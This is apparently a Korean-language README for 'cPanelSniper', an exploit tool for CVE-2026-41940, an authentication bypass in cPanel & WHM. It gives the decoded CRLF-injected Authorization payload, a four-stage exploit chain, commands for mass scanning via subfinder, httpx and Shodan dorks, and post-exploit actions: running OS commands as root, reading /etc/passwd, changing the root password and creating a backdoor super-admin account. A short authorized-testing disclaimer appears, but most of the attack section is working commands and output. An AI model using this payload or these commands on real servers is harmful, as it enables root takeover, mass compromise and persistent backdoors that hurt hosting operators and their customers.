
CVE-2026-41940 — cPanel & WHM 세션 파일 CRLF 주입을 통한 인증 우회
CVE-2026-41940 — cPanel & WHM 세션 파일 CRLF 주입을 통한 인증 우회
4단계 익스플로잇 체인 · 대화형 WHM 셸 · 대량 스캐너 · 파이프라인 지원 · stdlib만 사용
cPanelSniper는 cPanel & WHM에 영향을 미치는 치명적인 인증 우회 취약점인 CVE-2026-41940을 대상으로 하는 특화된 익스플로잇 프레임워크입니다. 이 취약점은 인증되지 않은 원격 공격자가 Authorization HTTP 헤더를 통해 세션 파일에 CRLF 시퀀스를 주입하여 유효한 자격 증명 없이 루트 수준의 WHM 접근 권한을 얻을 수 있게 합니다.
공인된 침투 테스트 및 버그 바운티 프로그램 전용입니다.
근본 원인은 Session.pm에 있습니다. saveSession() 함수는 세션 파일을 디스크에 쓴 후에 filter_sessiondata()를 호출합니다. 즉, Authorization: Basic 헤더 값에 포함된 CRLF 문자가 세션 파일에 그대로 기록되어, 삭제(sanitization)가 발생하기 전에 공격자가 제어하는 필드가 주입됩니다.
정상 흐름:
POST /login/ → filter_sessiondata() → 세션 쓰기 → 인증 확인
취약한 흐름:
POST /login/ → 세션 쓰기 (CRLF 페이로드 주입) → filter_sessiondata() → 인증 확인 시 오염된 파일 읽음
Authorization: Basic 값은 다음과 같이 디코딩됩니다:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
이 필드들은 디스크의 세션 파일에 직접 기록됩니다. 다시 읽을 때 cPanel은 이 세션을 완전히 인증된 루트 세션으로 처리합니다.
┌─────────────────────────────────────────────────────────────┐
│ 단계 0 — 표준 호스트명 탐색 │
│ GET /openid_connect/cpanelid → 307 → 실제 호스트명 │
├─────────────────────────────────────────────────────────────┤
│ 단계 1 — 사전 인증 세션 발급 │
│ POST /login/?login_only=1 (잘못된 자격 증명) │
│ ← 401 + whostmgrsession 쿠키 │
├─────────────────────────────────────────────────────────────┤
│ 단계 2 — CRLF 주입 │
│ GET / + Cookie: session + Authorization: Basic <payload> │
│ cpsrvd가 CRLF 필드를 세션 파일에 기록 │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ 단계 3 — 전파 (do_token_denied 가젯) │
│ GET /scripts2/listaccts │
│ raw→cache 플러시 트리거 — 주입된 필드가 활성화됨 │
│ ← 401 Token denied (예상됨) │
├─────────────────────────────────────────────────────────────┤
│ 단계 4 — WHM 루트 접근 확인 │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = PWNED │
└─────────────────────────────────────────────────────────────┘
git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help
pip 설치가 필요 없습니다. 순수 Python 3.8+ stdlib만 사용합니다.
# 단일 대상 — 스캔만 수행
python3 cPanelSniper.py -u https://target.com:2087
# 단일 대상 — 우회 후 대화형 셸
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# 파일에서 대량 스캔
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json
# 강제 스캔 (cPanel 탐지 건너뛰기)
python3 cPanelSniper.py -u https://target.com:2087 --force
# 서버의 모든 cPanel 계정 나열
python3 cPanelSniper.py -u https://target.com:2087 --action list
# OS 명령 실행
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# 서버 정보 가져오기 (호스트명, 부하, 디스크, MySQL 호스트)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# cPanel 버전 가져오기
python3 cPanelSniper.py -u https://target.com:2087 --action version
# 루트 비밀번호 변경
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# 대화형 WHM 셸
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 | \
python3 cPanelSniper.py -t 30 -o results.json
# 범위 목록에서
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.json
# Shodan 결과
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python3 cPanelSniper.py -t 30 -o shodan_results.json
# stdin 파이프
echo "https://target.com:2087" | python3 cPanelSniper.py
# 여러 소스 결합
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python3 cPanelSniper.py -t 20 --action list
우회에 성공하면 --action shell 플래그가 대화형 프롬프트를 실행합니다:
════════════════════════════════════════════════════════════
WHM Shell — target.com
Version: CVE-2026-41940 | Auth: CRLF bypass
Type 'help' for commands, 'exit' to quit
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[cPanel Accounts] target.com:2087 (47 users)
user01 domain: example.com email: [email protected]
user02 domain: shop.com email: [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[Server Info] https://target.com:2087
hostname: srv01.target.com
load: 0.72 / 0.66 / 0.69
version: 11.130.0.6
[email protected] ▶ addadmin mitsec P@ss2026!
[BACKDOOR ADMIN CREATED]
Target : https://target.com:2087
Username : mitsec
Password : P@ss2026!
Profile : super_admin
[email protected] ▶ exit
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT] [--no-color]
Target:
-u, --url URL 단일 대상 URL (예: https://host:2087)
-l, --list LIST URL이 포함된 파일 (한 줄에 하나)
--hostname HOSTNAME 표준 Host 헤더 재정의 (자동 탐색됨)
Scan:
-t, --threads N 동시 스레드 수 (기본값: 10)
--timeout N 요청 제한 시간(초) (기본값: 15)
--rate-limit N 대상 간 지연 시간 (기본값: 0)
--force cPanel 탐지 확인 건너뛰기
Post-Exploit:
--action ACTION 작업: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS 새 루트 비밀번호 (--action passwd)
--cmd CMD OS 명령 (--action cmd/exec)
--new-user USER 새 cPanel 사용자 이름 (--action adduser)
--new-domain DOMAIN 새 cPanel 도메인 (--action adduser)
Output:
-o, --output FILE 결과를 JSON 파일로 저장
--no-color ANSI 색상 비활성화
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
...
CVE-2026-41940 — cPanel & WHM CRLF 주입을 통한 인증 우회
4단계: 사전 인증 → CRLF 주입 → 전파 → 확인 → 익스플로잇 후 작업
In-The-Wild | CVSS 10.0 | By Mitsec (@ynsmroztas)
구성:
대상 : 1
스레드 : 10
제한시간: 15s
작업 : list
14:46:22 [SCAN] 4단계 익스플로잇 체인 시작... https://target.com:2087
14:46:23 [INFO] 표준 호스트명 탐색됨: srv01.target.com
14:46:23 [STEP] 1/4단계 — 사전 인증 세션 발급 중...
14:46:23 [ OK] 1단계: 사전 인증 세션 = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] 2/4단계 — Authorization 헤더를 통한 CRLF 주입...
14:46:24 [ OK] 2단계: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] 3/4단계 — do_token_denied 가젯 실행 (raw→cache)...
14:46:25 [ OK] 3단계: HTTP 401 — do_token_denied 가젯 실행됨
14:46:25 [STEP] 4/4단계 — WHM 루트 접근 확인 중...
14:46:26 [PWND] CVE-2026-41940 확인됨 — WHM 루트 접근!
14:46:26 [PWND] Token : /cpsess8493537756
14:46:26 [PWND] Version : 11.130.0.6
14:46:26 [PWND] API URL : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] 익스플로잇 후 작업 실행: list
14:46:27 [ API] listaccts → HTTP 200
[cPanel Accounts] target.com:2087 (47 accounts)
client01 domain: client01.com email: [email protected]
client02 domain: client02.net email: [email protected]
...
══════════════════════════════════════════════════════════════════════
cPanelSniper — 스캔 완료
시간: 5.8s · 대상: 1
⚡ 취약한 대상 1개 발견
대상 : https://target.com:2087
Version : 11.130.0.6
Token : /cpsess8493537756
API URL : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════
주입된 Authorization: Basic 값(base64 디코딩)에는 cPanel 세션 파일에서 줄바꿈이 되는 CRLF 시퀀스가 포함되어 있습니다:
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1
cPanel의 세션 리더는 이를 정당한 세션 필드로 구문 분석하여 전체 루트 WHM 접근 권한을 부여합니다.
중요하고 종종 간과되는 단계: CRLF 주입(2단계) 후, 오염된 세션 데이터는 원시 세션 파일에만 존재합니다. /scripts2/listaccts에 대한 요청은 내부 do_token_denied 핸들러를 트리거하여 원시 세션 데이터를 세션 캐시로 플러시합니다. 이 플러시가 없으면 4단계는 403을 반환합니다.
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
^ ^
| +-- ob 해시 (제거됨)
+-- 세션 이름 (주입에 사용됨)
%2C 앞의 세션 이름이 추출되어 후속 요청의 쿠키 값으로 사용됩니다.
이 도구는 공인된 보안 테스트 및 버그 바운티 프로그램 전용으로 제작되었습니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 도구로 인한 오용이나 손해에 대해 어떠한 책임도 지지 않습니다. 테스트 전에 항상 적절한 서면 승인을 받으십시오.
Mitsec — @ynsmroztas
Made with ❤️ by @ynsmroztas
| 브랜치 | 취약한 버전 | 패치된 버전 |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
| 명령어 | 설명 |
|---|
id / whoami | UID 및 호스트명 표시 |
hostname | 서버 호스트명 가져오기 |
version | cPanel 버전 정보 |
info | 부하, 디스크, MySQL 호스트, 버전 |
accounts | 모든 cPanel 사용자 계정 나열 |
cat <path> | 파일 내용 읽기 |
ls [path] | 디렉터리 나열 |
exec <cmd> | OS 명령 실행 |
addadmin <user> <pass> | 백도어 WHM 관리자 생성 |
passwd <pass> | 루트 비밀번호 변경 |
api <endpoint> [k=v ...] | 원시 WHM JSON API 호출 |
help | 모든 명령어 표시 |
exit | 셸 종료 |